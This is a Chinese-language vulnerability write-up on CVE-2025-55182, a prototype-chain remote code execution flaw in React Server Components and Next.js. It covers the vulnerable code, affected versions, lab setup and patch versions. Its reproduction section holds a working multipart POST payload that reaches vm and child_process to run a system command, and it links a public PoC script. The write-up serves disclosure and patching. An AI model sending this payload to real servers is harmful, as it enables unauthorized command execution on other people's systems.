[TOC]

名词解释

react是什么?

简单来说,React 是一个 JavaScript 库(注意,它不是框架)。

它用于构建用户界面,也就是 UI 部分,很多人认为 React 是 MVC 中的 V(视图)。

React 起源于 Facebook 的内部项目,于 2013 年 5 月开源。

图标如下:

image-20251204224824450

Next.js是什么?

一个基于React的全栈Web开发框架。React本身只是一个库,要构建一个完整的生产级应用(需要考虑路由、服务端渲染、打包优化、API 等)需要搭配很多其他工具进行复杂配置。Next.js 把这些最佳实践和工具都整合好了,提供了一套开箱即用的解决方案。

React Server Components (RSC)是什么?

React的一种新架构模型,它允许开发者将组件明确地分为两种:

客户端组件:传统的 React 组件,在浏览器中运行,可以处理交互、使用 useState、useEffect 等。

服务器组件:默认在服务器端运行的组件。它们不在客户端打包,因此可以安全、直接地访问数据库、文件系统等后端资源,并且不会增加客户端 JavaScript 包的大小。

这样做的好处:提升性能(减少客户端代码)、改善开发体验(直接从组件访问数据)、增强安全性(敏感逻辑和密钥保留在服务器)。

为了支持RSC,React 团队定义了一种特殊的"协议"(Flight协议),用于在服务器端和客户端之间传输RSC的渲染结果(不是HTML,而是一种紧凑的、可序列化的数据流格式)。

react-server-dom-webpack是什么?

这是RSC最早的官方实现,与 Webpack 打包工具深度集成。它告诉Webpack如何区分服务器组件和客户端组件,并如何打包它们。

react-server-dom-turbopack是什么?

这是为了支持Turbopack (由 Webpack 原作者开发、Vercel 推出的新一代增量打包工具,速度极快)而提供的RSC绑定器。Next.js 13+ 开始,当你在next.config.js中启用 experimental.turbopack = true 时,就会使用这个包(通过 --turbopack 标志启动开发服务器)。

react-server-dom-parcel是什么?

这是为了支持Parcel(另一个零配置的打包工具)而提供的 RSC 绑定器。如果你使用 Parcel 打包工具来构建你的React应用,并且想使用RSC特性,就需要用到这个包。它让Parcel具备了理解 RSC 的能力。

漏洞原因

根本原因存在于 react-server-dom-webpack 的 requireModule 函数中

1
2
3
4
5
// 有漏洞的代码
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
return moduleExports[metadata[2]]; // ❌ 缺少 hasOwnProperty 检查!
}

因metadata[2]可控,这个函数在访问对象属性时使用了方括号表示法,但没有进行 hasOwnProperty 检查,这允许攻击者通过原型链遍历访问危险的 Node.js 内置模块,如 vmchild_processfs

漏洞影响范围

受影响的React包:

react-server-dom-parcel:19.0.0、19.1.0、19.1.1和19.2.0
react-server-dom-webpack:19.0.0、19.1.0、19.1.1和19.2.0
react-server-dom-turbopack:19.0.0、19.1.0、19.1.1和19.2.0

受影响的框架和工具:

Next.js版本 ≥14.3.0-canary.77、≥15 和 ≥16
Vite、Parcel、React Router、RedwoodSDK、Waku等嵌入或依赖于React Server Components实现的框架和插件

利用条件

受影响条件:

  1. 如果您的应用只是纯前端页面(没有服务器端代码),则不受此漏洞影响

  2. 如果您的应用没有使用React服务端组件(RSC)功能,则不受此漏洞影响

  3. 前后端分离项目:如果您使用React仅作为前端开发,后端是独立的API服务,则不受此漏洞影响

  4. 如果您没有使用Next.js进行全栈开发项目,则不受此影响

  5. 如果您的Next.js使用Pages Router而非App Router架构模型,则不受此影响。

漏洞环境搭建

因为 react 实际上就是 JavaScript 类库,只要引用了这个类库,就可以使用它。

在实际操作中,有两种方式可选:

  • 通过 npm 创建 react 项目:create-react-app

  • 通过 CDN 引用 react 库

搭建一

我们使用第一种方式搭建:

  1. 确保安装了 Node.js 和 npm

    1
    2
    node -v
    npm -v 
  2. 安装 create-react-app

    React 提供了官方工具 Create React App,用于快速搭建 React 项目。

    通过该命令我们无需配置就能构建 React 开发项目。

    create-react-app 创建的项目是基于 Webpack + ES6 。

    1
    npm install -g create-react-app 
  3. 创建项目

    在本地目录下选择一个目录准备放置 react 项目。

    然后执行以下命令创建第一个 react 项目。

    1
    create-react-app 项目名

    比如:

    1
    create-react-app react-01

    然后启动项目

    1
    2
    cd react-01
    npm start 

    react 默认使用 3000 端口作为本地开发环境,它自动使用浏览器打开,就能看到如下界面:

image-20251204225525070

搭建二:命令一键搭建

或者使用如下命令一键部署:

1
2
npm install
node --conditions react-server --conditions webpack src/server.js

在线环境

1
https://www.ddpoc.com/DVB-2025-10412.html

环境包

1
2
3
4
5
https://www.xsssql.com/wp-content/uploads/2025/12/CVE-2025-55182-test.zip
解压后
cd CVE-2025-55182
npm install
npm start

漏洞复现

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
POST /formaction HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}
------Boundary--
  1. 或者使用网上脚本一把梭
1
网址:https://github.com/whiteov3rflow/CVE-2025-55182-poc
  1. 也可以自己理解编写poc

利用原理

这个漏洞的核心在于 React Server Components 的 Server Actions 功能实现中存在的原型链污染问题。具体攻击流程如下:

  1. 请求格式构造:

利用特殊格式的参数名 $ACTION_REF_0 和 $ACTION_0:0
这些参数名对应 React Server Actions 中特定的数据处理方式

  1. 原型链污染利用:

当参数中的 id 设置为 vm#runInThisContext 等特殊值时
由于 requireModule 函数缺少属性检查,会尝试通过原型链查找并访问这些模块
这样就绕过了正常的模块访问限制

  1. 命令执行路径:

攻击者可以选择多种方式执行代码或命令
vm 方法最强大,允许执行任意 JavaScript 代码
child_process 方法直接执行系统命令
fs 方法用于读取文件内容

修复方式

Next.js修复方案:

• Next.js 14.3.0-canary.77 或更高版本的 canary 版本,请降级到最新的稳定版 14.x

• 15.0.x修复方案:npm install next@15.0.5

• 15.1.x修复方案:npm install next@15.1.9

• 15.2.x修复方案:npm install next@15.2.6

• 15.3.x修复方案:npm install next@15.3.6

• 15.4.x修复方案:npm install next@15.4.8

• 15.5.x修复方案:npm install next@15.5.7

• 16.0.x修复方案:npm install next@16.0.7

React修复方案:

• react-server-dom-parcel

• react-server-dom-turbopack

• react-server-dom-webpack

请升级至 19.2.1或19.1.2或19.0.1版本

总结

CVE-2025-55182 是一个极其严重的漏洞,允许未授权远程攻击者在使用易受攻击版本的 React 应用中执行任意代码。该漏洞利用了原型链污染技术,绕过了 React Server Components 中的安全机制。此漏洞证明了即使是主流前端框架也可能存在严重的后端安全问题,特别是在实现服务器端功能时。